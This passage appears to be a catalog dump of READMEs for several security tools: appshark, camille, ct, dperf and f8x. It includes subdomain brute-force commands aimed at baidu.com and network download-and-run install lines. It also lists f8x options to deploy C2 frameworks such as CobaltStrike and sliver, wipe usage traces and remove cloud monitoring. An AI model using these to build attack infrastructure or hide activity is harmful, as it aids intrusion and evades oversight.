    "content": "## appshark <https://github.com/bytedance/appshark>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Kotlin-blue)\n![Author](https://img.shields.io/badge/Author-bytedance-orange)\n![GitHub stars](https://img.shields.io/github/stars/bytedance/appshark.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.1.2-red)\n![Time](https://img.shields.io/badge/Join-20220914-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n## Document Index\n- [1.overview](doc/zh/overview.md)\n- [2.startup](doc/zh/startup.md)\n- [3.how to write rules](doc/zh/how_to_write_rules.md)\n- [4.how to find compliance problems use appshark](doc/zh/how_to_find_compliance_problem_use_appshark.md)\n- [5.a path traversal game](doc/zh/path_traversal_game.md)\n- [6.argument](doc/zh/argument.md)\n- [7.engine config](doc/zh/EngineConfig.md)\n- [8.result](doc/zh/result.md)\n- [9.faq](doc/zh/faq.md)\n\n\nAppshark is a static taint analysis platform to scan vulnerabilities in an Android app.\n\n## Prerequisites\n\nAppshark requires a specific version of JDK\n-- [JDK 11](https://www.oracle.com/java/technologies/javase/jdk11-archive-downloads.html). After testing, it does not\nwork on other LTS versions, JDK 8 and JDK 16, due to the dependency compatibility issue.\n\n## Building/Compiling AppShark\n\nWe assume that you are working in the root directory of the project repo. You can build the whole project with\nthe [gradle](https://gradle.org/) tool.\n\n```shell\n$ ./gradlew build  -x test \n```\n\nAfter executing the above command, you will see an artifact file `AppShark-0.1.1-all.jar` in the directory `build/libs`.\n\n## Running AppShark\n\nLike the previous step, we assume that you are still in the root folder of the project. You can run the tool with\n\n ```shell\n $ java -jar build/libs/AppShark-0.1.1-all.jar  config/config.json5\n ```\n\nThe `config.json5` has the following configuration contents.\n\n```JSON\n{\n  \"apkPath\": \"/Users/apks/app1.apk\",\n  \"out\": \"out\",\n  \"rules\": \"unZipSlip.json\",\n  \"maxPointerAnalyzeTime\": 600\n} \n```\n\nEach JSON field is explained below.\n\n- apkPath: the path of the apk file to analyze\n- out: the path of the output directory\n- rules: the path(s) of the rule file(s), can be more than 1 rules\n- maxPointerAnalyzeTime: the timeout duration in seconds set for the analysis started from an entry point\n- debugRule: specify the rule name that enables logging for debugging\n\nIf you provide a configuration JSON file which sets the output path as `out` in the project root directory, you will\nfind the result file `out/results.json` after running the analysis.\n\n## Interpreting the Results\n\nBelow is an example of the `results.json`.\n\n```JSON\n{\n  \"AppInfo\": {\n    \"AppName\": \"test\",\n    \"PackageName\": \"net.bytedance.security.app\",\n    \"min_sdk\": 17,\n    \"target_sdk\": 28,\n    \"versionCode\": 1000,\n    \"versionName\": \"1.0.0\"\n  },\n  \"SecurityInfo\": {\n    \"FileRisk\": {\n      \"unZipSlip\": {\n        \"category\": \"FileRisk\",\n        \"detail\": \"\",\n        \"model\": \"2\",\n        \"name\": \"unZipSlip\",\n        \"possibility\": \"4\",\n        \"vulners\": [\n          {\n            \"details\": {\n              \"position\": \"<net.bytedance.security.app.pathfinder.testdata.ZipSlip: void UnZipFolderFix1(java.lang.String,java.lang.String)>\",\n              \"Sink\": \"<net.bytedance.security.app.pathfinder.testdata.ZipSlip: void UnZipFolderFix1(java.lang.String,java.lang.String)>->$r31\",\n              \"entryMethod\": \"<net.bytedance.security.app.pathfinder.testdata.ZipSlip: void f()>\",\n              \"Source\": \"<net.bytedance.security.app.pathfinder.testdata.ZipSlip: void UnZipFolderFix1(java.lang.String,java.lang.String)>->$r3\",\n              \"url\": \"/Volumes/dev/zijie/appshark-opensource/out/vuln/1-unZipSlip.html\",\n              \"target\": [\n                \"<net.bytedance.security.app.pathfinder.testdata.ZipSlip: void UnZipFolderFix1(java.lang.String,java.lang.String)>->$r3\",\n                \"pf{obj{<net.bytedance.security.app.pathfinder.testdata.ZipSlip: void UnZipFolderFix1(java.lang.String,java.lang.String)>:35=>java.lang.StringBuilder}(unknown)->@data}\",\n                \"<net.bytedance.security.app.pathfinder.testdata.ZipSlip: void UnZipFolderFix1(java.lang.String,java.lang.String)>->$r11\",\n                \"<net.bytedance.security.app.pathfinder.testdata.ZipSlip: void UnZipFolderFix1(java.lang.String,java.lang.String)>->$r31\"\n              ]\n            },\n            \"hash\": \"ec57a2a3190677ffe78a0c8aaf58ba5aee4d2247\",\n            \"possibility\": \"4\"\n          },\n          {\n            \"details\": {\n              \"position\": \"<net.bytedance.security.app.pathfinder.testdata.ZipSlip: void UnZipFolder(java.lang.String,java.lang.String)>\",\n              \"Sink\": \"<net.bytedance.security.app.pathfinder.testdata.ZipSlip: void UnZipFolder(java.lang.String,java.lang.String)>->$r34\",\n              \"entryMethod\": \"<net.bytedance.security.app.pathfinder.testdata.ZipSlip: void f()>\",\n              \"Source\": \"<net.bytedance.security.app.pathfinder.testdata.ZipSlip: void UnZipFolder(java.lang.String,java.lang.String)>->$r3\",\n              \"url\": \"/Volumes/dev/zijie/appshark-opensource/out/vuln/2-unZipSlip.html\",\n              \"target\": [\n                \"<net.bytedance.security.app.pathfinder.testdata.ZipSlip: void UnZipFolder(java.lang.String,java.lang.String)>->$r3\",\n                \"pf{obj{<net.bytedance.security.app.pathfinder.testdata.ZipSlip: void UnZipFolder(java.lang.String,java.lang.String)>:33=>java.lang.StringBuilder}(unknown)->@data}\",\n                \"<net.bytedance.security.app.pathfinder.testdata.ZipSlip: void UnZipFolder(java.lang.String,java.lang.String)>->$r14\",\n                \"<net.bytedance.security.app.pathfinder.testdata.ZipSlip: void UnZipFolder(java.lang.String,java.lang.String)>->$r34\"\n              ]\n            },\n            \"hash\": \"26c6d6ee704c59949cfef78350a1d9aef04c29ad\",\n            \"possibility\": \"4\"\n          }\n        ],\n        \"wiki\": \"\",\n        \"deobfApk\": \"/Volumes/dev/zijie/appshark-opensource/app.apk\"\n      }\n    }\n  },\n  \"DeepLinkInfo\": {\n  },\n  \"HTTP_API\": [\n  ],\n  \"JsBridgeInfo\": [\n  ],\n  \"BasicInfo\": {\n    \"ComponentsInfo\": {\n    },\n    \"JSNativeInterface\": [\n    ]\n  },\n  \"UsePermissions\": [\n  ],\n  \"DefinePermissions\": {\n  },\n  \"Profile\": \"/Volumes/dev/zijie/appshark-opensource/out/vuln/3-profiler.json\"\n}\n\n```\n\n# License\n\nAppShark is licensed under the [APACHE LICENSE, VERSION 2.0](http://www.apache.org/licenses/LICENSE-2.0)\n\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n- 2022-11-03 发布文章[《AOSP Bug Hunting with appshark (1): Intent Redirection》](https://paper.seebug.org/2002/)\n\n## 最近更新\n\n#### [v0.1.2] - 2022-09-22\n\n**更新**  \n- 修复在 windows 平台运行的一些问题\n\n#### [v0.1.1] - 2022-09-16\n\n**更新**  \n- 增加 APIMode 模式  \n- 增加 camile.json 规则\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/camille.md",
    "content": "## camille <https://github.com/zhengjim/camille>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![Author](https://img.shields.io/badge/Author-zhengjim-orange)\n![GitHub stars](https://img.shields.io/github/stars/zhengjim/camille.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.0.1-red)\n![Time](https://img.shields.io/badge/Join-20230410-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\nAndroid App隐私合规检测辅助工具\n\n## 简介\n\n现如今APP隐私合规十分重要，各监管部门不断开展APP专项治理工作及核查通报，不合规的APP通知整改或直接下架。camille可以hook住Android敏感接口，检测是否第三方SDK调用。根据隐私合规的场景，辅助检查是否符合隐私合规标准。\n\n## 隐私合规资料及政策\n\n[隐私资料政策wiki](https://github.com/zhengjim/camille/wiki)\n\n## 安装\n\n环境：\n\npython3、frida 、一台已root手机(我测试机为Redmi 3s，刷机成魔趣Android 8.1，感觉问题挺多的)，并在手机上运行`frida-server`。\n\n测试了Android 8.1(还测试了魔趣Android 10)，其他版本安卓可能会有bug。\n\n更新日志：\n\n```\n2023-03-14：新增敏感接口\n\n2022-12-12：修复android 13有兼容性问题\n\n2022-11-25：修复截图bug、优化hook方法支持传参数过滤\n\n2022-11-21：新增可指定frida-server用于对抗frida检测，参数-H、修复模拟器没有sdcard目录报错问题\n\n2022-11-16：感谢@ysrfeng 添加wiki，添加隐私合规相关资料和政策文档。\n\n2022-11-15：合并@RebornQ PR，新增多设备可指定设备功能\n\n2022-11-11：修复Android7报错、Frida12报错、优化异常处理便于排查\n\n2022-11-10: 合并@RebornQ PR、修复部分问题、优化初始化异常提示\n\n2022-11-03: 添加同意隐私合规状态(需人工确认)、第三方SDK识别、可hook构造函数，`methodName`传`'$init'`。方便大家交流，创建交流群。 新增文件接口，感谢@LiuXinzhi94提供。 新增敏感接口，感谢群里师傅@WYY提供\n\n2022-10-26：新增支持加载外部脚本文件，填相对路径或绝对路径均可（用于 pyinstaller 打包二进制执行文件后使用）感谢@RebornQ pr\n\n2022-09-07：添加讨论群，新增敏感接口，感谢群里师傅@410提供。\n\n2022-07-08: 默认不开启绕过TracerPid,添加attach hook，避免有些加固包不能hook问题。\n\n2022-06-22：修复程序异常退出、冗余度高、hook接口不全有遗落、新增多个Android版本接口；封装hook方法，新增用户自定义hook方法。\n\n2022-01-14：删除hook短信接口。新增：可指定模块hook或不hook哪些模块。默认不传，全扫描。\n```\n\n下载：\n\n```\ngit clone https://github.com/zhengjim/camille.git\ncd camille\npip install -r requirements.txt\npython camille.py -h\n```\n\n![img.png](https://github.com/zhengjim/camille/raw/master/images/img.png)\n\n## 用法\n\n[使用说明文档](https://github.com/zhengjim/camille/blob/master/docs/use.md)\n\n## 后记\n\n本来想使用uiautomator2或appium来模拟点击制定场景，~~但后续调研发现纯自动化的检测是不全的，最多也就检测20-30%，还是得结合人工来检测。索性就删除了模拟点击这块。~~(其实就是懒，不定期更新)\n\n## 场景\n\n[百度史宾格的检测场景](https://github.com/zhengjim/camille/blob/master/docs/detection_scene.md)\n\n## 参考链接\n\n- https://github.com/Dawnnnnnn/APPPrivacyDetect\n- https://github.com/r0ysue/r0capture/\n- https://github.com/ChenJunsen/Hegui3.0\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n\n## 最近更新\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/ct.md",
    "content": "## ct <https://github.com/knownsec/ct>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Rust-blue)\n![Author](https://img.shields.io/badge/Author-rungobier@Knownsec404-orange)\n![GitHub stars](https://img.shields.io/github/stars/knownsec/ct.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.0.9-red)\n![Time](https://img.shields.io/badge/Join-20211213-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\nct 是一款使用 rust 语言进行开发，并且基于 ZoomEye 域名查询以及利用域名字典进行子域名爆破的工具，同时在最终爆破完成后， 自动生成 Windows/*nix 下的可执行脚本。 脚本内容为自动将相应的的.gv 文件转化成为相应的\n.png 文件，graphviz 下载安装请参见 [graphviz](https://graphviz.org/download/)\n支持在Windows/Linux/Mac上使用。\n\n## 编译环境构建\n\n*nix 编译环境执行如下指令即可安装：\n\n```\ncurl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh\n```\nWindows 编译环境安装请下载[rustup-init.exe](https://static.rust-lang.org/rustup/dist/i686-pc-windows-gnu/rustup-init.exe)并执行。\n\n\n## 使用\n\n从[releases](https://github.com/knownsec/ct/releases \"releases\")下载二进制文件。\n\n```\nct 1.0.9\nAutor: rungobier@knownsec 404 team <rungobier@gmail.com>\nCollect information tools about the target domain.\n\nUSAGE:\n    ct_win64.exe [FLAGS] [OPTIONS] [domain]\n\nFLAGS:\n    -E                Extended analysis domain\n    -T                Network upload speed test.\n    -Z                Do not use zoomeye data\n    -C, --cidr        Convert the IP related to the target domain name to cidr for extended search. Default is false.\n    -h, --help        Prints help information\n    -i, --info        Get ZoomEye account base info\n    -q, --query-ip    Use zoomeye to query ip information\n    -V, --version     Prints version information\n\nOPTIONS:\n        --init <apikey>                Initialize the ZoomEye api key\n    -s, --dns-dict <dns-file>          DNS Server list in a textual file.\n                                       file example...\n                                       8.8.8.8\n                                       1.1.1.1\n                                       ...\n    -d, --domain-dict <domain-file>    Domain dict list in a file.\n                                       file example....\n                                       www\n                                       mail\n                                       dev\n                                       ...\n    -F <filter-domains>                Extended filter domain list.\n                                       Example of extended filtering domain name list:\n                                       knownsec.com,jiasule.com,365cyd.com...\n        --query-num <query-num>        Maximum number of zoomeye query. Default query number 100\n    -t, --threads <thread-num>         Maximum number of threads. Default number $CPU_NUM\n    -w, --work-dir <work-dir>          Directory to save the results of tasks. Default\n                                       [/tmp|$DESKTOP]/YYYYmmddHHMM_$DOMAIN\n\nARGS:\n    <domain>    Target domain name\n\n```\n\n### 常用命令\n\n```\nZoomEye apikey 初始化\nct --init 62EC1239-xxxx-xxxxx-xxxx-e45291301ee\n\n开启扩展搜索\nct -E \n\n过滤域名，域名之间以,分隔\nct -F\n\n查看ZoomEye账号信息\nct -i\n\n上行网络测速 (使用了speedtest库)\nct -T\n\n利用zoomeye的域名查询进行的懒人模式 默认每账号每天2万条查询结果\nct baidu.com\n\n使用域名字典爆破\nct -d domain_dict.txt baidu.com\n\n使用指定dns域名解析服务器及字典进行爆破(不使用ZoomEye数据加-Z，默认不加为合并) 字典路径需要带完整路径\nct -Z -d domain_dict.txt -s dns.txt baidu.com\n```\n\n## 域名以及IP关系图形生成\n\n*nix\n\n```bash\ncd /tmp/202111301212_baidu.com\nchmod +x convert2png.sh\n./convert2png.sh\nls *.png\n```\n\nWindows\n\n```bat\ncd C:\\Users\\rungobier\\Desktop\\202111301212_baidu.com\nconvert2png.bat\ndir *.png\n```\n\n最终生成的效果图如下：\n\n![域名维度](https://github.com/knownsec/ct/raw/main/images/domain_graph.gv.svg)\n\n## 编译\n\n```bash\ngit clone https://github.com/knownsec/ct\ncd ct\ncargo build --release\n./target/release/ct \n```\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n\n## 最近更新\n\n#### [v1.0.9] - 2022-07-18\n\n**更新**  \n- 加入域名自动扩展搜索参数 -E- 加入无效域名过滤参数 -F， 同时自带过滤清单- 修改部分bug\n\n**Example**  \n- `ct -E -F 365cyd.cn,jiashule.com,365cyd.com,knownsec.com baidu.com`\n\n#### [v1.0.5] - 2022-01-13\n\n**新增**  \n- 加入查询IP开关参数\n\n**优化**  \n- 调整网速测试的代码\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/dperf.md",
    "content": "## dperf <https://github.com/baidu/dperf>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-C-blue)\n![Author](https://img.shields.io/badge/Author-Benjamin-orange)\n![GitHub stars](https://img.shields.io/github/stars/baidu/dperf.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.8.0-red)\n![Time](https://img.shields.io/badge/Join-20230410-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\ndperf 是一个100Gbps的网络性能与压力测试软件。\n\n## 优点\n- 性能强大：\n  - 基于 DPDK，使用一台普通 x86 服务器就可以产生巨大的流量：千万级的 HTTP 每秒新建连接数，数百Gbps的带宽，几十亿的并发连接数\n- 统计信息详细：\n  - 能够输出详细的统计信息，并且识别每一个丢包\n- 使用场景丰富：\n  - 可用于对四层负载均衡等四层网关进行性能压力测试、长稳测试\n  - 可用于对云上虚拟机的网络性能进行测试\n  - 可用于对网卡性能、CPU的网络报文处理能力进行测试\n  - 压测场景下，可作为高性能的HTTP Server或HTTP Client单独使用\n\n## 性能\n### HTTP每秒新建连接数\n|Client Cores|Server Cores|HTTP CPS|\n|------------|------------|--------|\n|1|1|2,101,044|\n|2|2|4,000,423|\n|4|4|7,010,743|\n|6|6|10,027,172|\n\n### HTTP吞吐\n|Client Cores|Server Cores|RX(Gbps)|TX(Gbps)|Client CPU Usage(%)|Server CPU Usage(%)|\n|------------|------------|--------|--------|-------------------|-------------------|\n|1|1|18|18|60|59|\n|2|2|35|35|60|59|\n|4|4|46|46|43|43|\n\n### HTTP并发连接数\n|Client Cores|Server Cores|Current Connections|Client CPU Usage(%)|Server CPU Usage(%)|\n|------------|------------|-------------------|-------------------|-------------------|\n|1|1|100,000,000|34|39|\n|2|2|200,000,000|36|39|\n|4|4|400,000,000|40|41|\n\n### UDP TX PPS\n|Client Cores|TX MPPS|Client CPU Usage(%)|\n|------------|-------|-------------------|\n|1|15.96|95|\n|2|29.95|95|\n|4|34.92|67|\n|6|35.92|54|\n|8|37.12|22|\n\n注意：本测试基于单张25Gbps Mellanox CX4\n\n### 测试环境配置（客户端、服务器）\ndperf 的以上性能数据，基于下面的配置测试得到：\n\n- 内存: 512GB(大页 100GB)\n- 网卡: Mellanox MT27710 25Gbps * 2\n- 内核: 4.19.90\n\n## 统计数据\ndperf 每秒输出多种统计数据：\n- TPS, CPS,  各种维度的PPS\n- TCP/Socket/HTTP级别的错误数\n- 丢包数\n- 按照TCP Flag分类的报文重传数\n\n```\nseconds 22                 cpuUsage 52\npktRx   3,001,058          pktTx    3,001,025          bitsRx   2,272,799,040      bitsTx  1,920,657,600      dropTx  0\narpRx   0                  arpTx    0                  icmpRx   0                  icmpTx  0                  otherRx 0          badRx 0\nsynRx   1,000,345          synTx    1,000,330          finRx    1,000,350          finTx   1,000,350          rstRx   0          rstTx 0\nsynRt   0                  finRt    0                  ackRt    0                  pushRt  0                  tcpDrop 0\nskOpen  1,000,330          skClose  1,000,363          skCon    230                skErr   0\nhttpGet 1,000,345          http2XX  1,000,350          httpErr  0\nierrors 0                  oerrors  0                  imissed  0\n```\n\n## 开始使用\n### 设置大页\n    #参考如下参数编辑 '/boot/grub2/grub.cfg'，然后重启OS\n    linux16 /vmlinuz-... nopku transparent_hugepage=never default_hugepagesz=1G hugepagesz=1G hugepages=8\n\n### 编译DPDK\n    #编辑'config/common_base'打开PMD开关\n    #Mellanox CX4/CX5 requires 'CONFIG_RTE_LIBRTE_MLX5_PMD=y'\n    #HNS3 requires 'CONFIG_RTE_LIBRTE_HNS3_PMD=y'\n    #VMXNET3 requires 'CONFIG_RTE_LIBRTE_VMXNET3_PMD=y'\n\n    TARGET=x86_64-native-linuxapp-gcc #or arm64-armv8a-linuxapp-gcc\n    cd /root/dpdk/dpdk-stable-19.11.10\n    make install T=$TARGET -j16\n\n### 编译dperf\n    cd dperf\n    make -j8 RTE_SDK=/root/dpdk/dpdk-stable-19.11.10 RTE_TARGET=$TARGET\n\n### 绑定网卡\n    #Mellanox网卡跳过此步\n    #假设PCI号是0000:1b:00.0\n\n    modprobe uio\n    modprobe uio_pci_generic\n    /root/dpdk/dpdk-stable-19.11.10/usertools/dpdk-devbind.py -b uio_pci_generic 0000:1b:00.0\n\n### 启动dperf server\n    #dperf server监听6.6.241.27:80, 网关是6.6.241.1\n    ./build/dperf -c test/http/server-cps.conf\n\n### 从客户端发送请求\n    #客户端IP必须要在配置文件的'client'范围内\n    ping 6.6.241.27\n    curl http://6.6.241.27/\n\n## 运行测试\n下面的例子运行一个HTTP CPS压力测试。\n\n    #在server端运行dperf\n    ./build/dperf -c test/http/server-cps.conf\n\n    #以另一台机器作为client端，运行dperf\n    ./build/dperf -c test/http/client-cps.conf\n\n## 文档\n请访问[https://dperf.org/](https://dperf.org/).\n\n## 限制\n - dperf 要求HTTP消息在一个数据包中，所以不适合7层负载均衡的测试。\n - dperf 要求独占使用网络接口。\n - dperf 没有路由功能。建议配合三层交换机搭建测试环境。\n\n## 贡献\ndperf 欢迎大家贡献。详情请参阅[贡献指南](https://github.com/baidu/dperf/blob/main/CONTRIBUTING.md)。\n\n## 专利\n - 彭建章(2024). 网络设备的测试方法及其装置. CN114205274B. 2024-06-11.\n\n## 作者\n* [Jianzhang Peng](https://github.com/pengjianzhang), 中国科学技术大学计算机专业博士，曾在华为和百度担任主任工程师一职，参与了7层负载均衡与4层负载均衡系统的开发。在百度工作期间，他开发了dperf项目。即使从百度离职后，他仍然致力于维护dperf项目。目前，他在新加坡工作，专注于研究和实现加密货币的高频量化交易的低时延网络系统。\n\n## 许可\ndperf基于 [Apache License, Version 2.0](https://www.apache.org/licenses/LICENSE-2.0) 许可证。\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n\n## 最近更新\n\n#### [v1.8.0] - 2024-12-12\n\n**新增**  \n- 支持 DPDK-24.11  \n- 新增 neigh_ignore 用于 LVS DR 模式  \n- 新增随机 vxlan 源端口  \n- 支持多进程  \n- 新增 payload_file 以支持从文件设置 payload  \n- 新增 vhost-net 支持  \n- 更多服务器 ips  \n\n**修改**  \n- 自动调整默认 luanch_num  \n- 简化 RSS 配置  \n\n**修复**  \n- 修复编译警告  \n- 修复 rss 的准确并发连接数\n\n#### [v1.7.0] - 2024-06-06\n\n**新增**  \n- 发送http post请求  \n- dpdk pdump  \n- fast_close：使用RST关闭连接  \n- 支持DPDK-23.11和DPDK-24  \n- 启用simd512  \n- 禁用ack  \n- 配置重发超时  \n\n**更改**  \n- 配置DPDK日志级别  \n- clear_screen：dperf可以清除屏幕输出，让屏幕更干净  \n- 静态链接  \n\n**修复**  \n- dpdk清理  \n- CFLAGS覆盖  \n- 拼写错误  \n- 不要清除处于等待时间状态的序列\n\n#### [v1.6.0] - 2023-10-10\n\n**新增**  \n- dperf 服务器可返回较大的 payload  \n- 现在可使用 l3/l3l4 的网卡 RSS 分流算法  \n\n**改动**  \n- 最小本地端口范围可以设置为 1  \n- 优化移除了 lport_range 之外的无用 socket  \n- 将文档移至 dperf.org  \n- 调整最大的 MTU 默认值  \n\n**修复**  \n- 修复 udp 连接数为负数的问题  \n- 启动失败时将打印更多信息  \n- 修复拼写错误和表达问题  \n- 修复查找端口 id 时的错误  \n- 修复创建新连接时长计算的错误  \n- 仅当启用 http 时才能配置 http_host 或 http_path  \n- 修复 dpdk-18.11 上构建错误的问题\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/f8x.md",
    "content": "## f8x <https://github.com/ffffffff0x/f8x>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Bash-blue)\n![Author](https://img.shields.io/badge/Author-ffffffff0x-orange)\n![GitHub stars](https://img.shields.io/github/stars/ffffffff0x/f8x.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.6.2-red)\n![Time](https://img.shields.io/badge/Join-20210223-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n\n一款红/蓝队环境自动化部署工具,支持多种场景,渗透,开发,代理环境,服务可选项等。\n\n\n大多数场景下，在不同的云购买一些 vps 服务器用于部署红 / 蓝队设施，不能做到开箱即用，使用 f8x 可以快速部署所需要的各类服务。同时兼顾到本地 VM 虚拟机的需求，可以选择走 socket 代理进行安装部署，Proxychains-ng 也会自动安装，只需做好 Proxychains-ng 配置即可。\n\n## 开始\n\n**下载**\n- 通过 CF Workers 下载 [推荐]\n  - wget : `wget -O f8x https://f8x.io/`\n  - curl : `curl -o f8x https://f8x.io/`\n\n- 访问 [releases](https://github.com/ffffffff0x/f8x/releases) 下载\n\n**使用**\n```bash\nbash f8x -h\n```\n\n如果你希望方便点使用可以直接加到环境变量中\n- wget : `wget -O f8x https://f8x.io/ && mv --force f8x /usr/local/bin/f8x && chmod +x /usr/local/bin/f8x`\n  - `f8x -h`\n- curl : `curl -o f8x https://f8x.io/ && mv --force f8x /usr/local/bin/f8x && chmod +x /usr/local/bin/f8x`\n  - `f8x -h`\n\n**系统依赖**\n\nf8x 基本上不需要任何依赖,或者说它就是为了帮助你安装各种依赖而生的😁\n\n**f8x-ctf**\n\n该脚本用于部署 CTF 环境,支持 (Web、Misc、Crypto、Pwn、Iot) 分类\n\n- wget : `wget -O f8x-ctf https://f8x.io/ctf`\n  - `bash f8x-ctf -help`\n- curl : `curl -o f8x-ctf https://f8x.io/ctf`\n  - `bash f8x-ctf -help`\n\n**f8x-dev**\n\n该脚本用于部署中间件和数据库环境,支持 (apache、nginx、tomcat、Database、php) 分类\n\n- wget : `wget -O f8x-dev https://f8x.io/dev`\n  - `bash f8x-dev -help`\n- curl : `curl -o f8x-dev https://f8x.io/dev`\n  - `bash f8x-dev -help`\n\n---\n\n## 支持选项\n\n目前 f8x 支持以下部署选项 (Linux arm64 下大部分都支持)\n\n**1. 批量化安装**\n- 使用 -b 选项安装基本环境 (gcc、make、git、vim、telnet、jq、unzip 等基本工具)\n- 使用 -p 选项安装代理环境 (警告:国外云服务器上不要用,会降速)\n- 使用 -d 选项安装开发环境 (python3、pip3、Go、Docker、Docker-Compose、SDKMAN)\n- 使用 -k 选项安装渗透环境 (hashcat、ffuf、OneForAll、ksubdomain、impacket 等渗透工具)\n  - -ka 信息收集、扫描、爆破、抓取\n  - -kb 漏洞利用\n  - -kc 后渗透、C2\n  - -kd 其他\n  - -ke 功能重叠或长期不维护\n- 使用 -s 选项安装蓝队环境 (Fail2Ban、chkrootkit、rkhunter、河马webshell查杀工具)\n- 使用 -f 选项安装其他工具 (Bash_Insulter、vlmcsd、AdguardTeam、trash-cli 等辅助工具)\n- 使用 -cloud 选项安装云应用 (Terraform、Serverless Framework、wrangler)\n- 使用 -all 选项全自动化部署 (默认不走代理,兼容 CentOS7/8,Debain10/9,Ubuntu20/18,Fedora33)\n\n**2. 开发环境**\n- 使用 -docker 选项安装 docker 环境\n- 使用 -lua 选项安装 lua 环境\n- 使用 -nn 选项安装 npm & NodeJs 环境\n- 使用 -go 选项安装 go 环境\n- 使用 -oraclejdk(8/11) 选项安装 oraclejdk 环境\n- 使用 -openjdk 选项安装 openjdk 环境\n- 使用 -py3(7/8/9/10) 选项安装 python3 环境\n- 使用 -py2 选项安装 python2 环境\n- 使用 -pip2-f 选项强制安装 pip2 环境 (建议在 -python2 选项失败的情况下运行)\n- 使用 -perl 选项安装 perl 环境\n- 使用 -ruby 选项安装 ruby 环境\n- 使用 -rust 选项安装 rust 环境\n- 使用 -code 选项安装 code-server 环境\n- 使用 -chromium 选项安装 Chromium 环境 (用于配合 -k 选项中的 rad、crawlergo)\n- 使用 -phantomjs 选项安装 PhantomJS\n\n**3. 蓝队工具**\n- 使用 -binwalk 选项安装 binwalk 环境\n- 使用 -binwalk-f 选项强制安装 binwalk 环境 (建议在 -binwalk 选项失败的情况下运行)\n- 使用 -clamav 选项安装 ClamAV 工具\n- 使用 -lt 选项部署 LogonTracer 环境 (非超高配置机器不要部署,这个应用太吃配置了)\n- 使用 -suricata 选项部署 Suricata 环境\n- 使用 -vol 选项安装 volatility 取证工具\n- 使用 -vol3 选项安装 volatility3 取证工具\n\n**4. 红队工具**\n- 使用 -aircrack 选项部署 aircrack-ng 环境\n- 使用 -bypass 选项部署 Bypass 环境\n- 使用 -goby 选项部署 Goby 环境 (需要图形化环境)\n- 使用 -wpscan 选项安装 wpscan 工具\n- 使用 -yakit 选项部署 yakit 环境\n\n**5. 红队基础设施**\n- 使用 -awvs14 选项部署 AWVS13 环境(1.04 GB)\n- 使用 -cs 选项部署 CobaltStrike4.3 环境\n- 使用 -cs45 选项部署 CobaltStrike4.5 环境\n- 使用 -frp 选项部署 frp 工具\n- 使用 -interactsh 选项部署 interactsh 工具 (https://github.com/projectdiscovery/interactsh)\n- 使用 -merlin 选项部署 merlin 环境 (https://github.com/Ne0nd0g/merlin)\n- 使用 -msf 选项部署 Metasploit 环境\n- 使用 -nps 选项部署 nps 工具\n- 使用 -pupy 选项部署 pupy 环境 (https://github.com/n1nj4sec/pupy)\n- 使用 -rg 选项部署 RedGuard 工具 (https://github.com/wikiZ/RedGuard)\n- 使用 -sliver 选项部署 sliver 环境 (https://github.com/BishopFox/sliver)\n- 使用 -sliver-client 选项安装 sliver-client 工具\n- 使用 -sps 选项部署 SharPyShell 工具 (https://github.com/antonioCoco/SharPyShell)\n- 使用 -viper 选项部署 Viper 环境(2.1 GB)\n\n**6. 基于 Docker 的环境部署**\n- 使用 -arl 选项部署 ARL 环境(872 MB)\n- 使用 -mobsf 选项部署 MobSF 环境(1.54 GB)\n- 使用 -nodejsscan 选项部署 nodejsscan 环境(873 MB)\n- 使用 -vulhub 选项部署 vulhub 环境(210 MB)\n- 使用 -vulfocus 选项部署 vulfocus 环境(1.04 GB)\n- 使用 -TerraformGoat 选项部署 TerraformGoat 环境\n\n**7. 杂项服务**\n- 使用 -asciinema 选项安装 asciinema 截图工具\n- 使用 -bt 选项部署宝塔服务\n- 使用 -clash 选项安装 clash 工具 (https://github.com/juewuy/ShellClash)\n- 使用 -nginx 选项配置 nginx 服务\n- 使用 -ssh 选项配置 ssh 环境 (RedHat 系默认可用,无需重复安装)\n- 使用 -ssr 选项部署 ssr 工具\n- 使用 -zsh 选项部署 zsh 工具\n\n**8. 其他**\n- 使用 -clear 选项清理系统使用痕迹\n- 使用 -info 选项查看系统各项信息\n- 使用 -optimize 选项改善设备选项,优化性能\n- 使用 -remove 选项卸载国内 vps 云监控\n- 使用 -rmlock 选项运行除锁模块\n- 使用 -swap 选项配置 swap 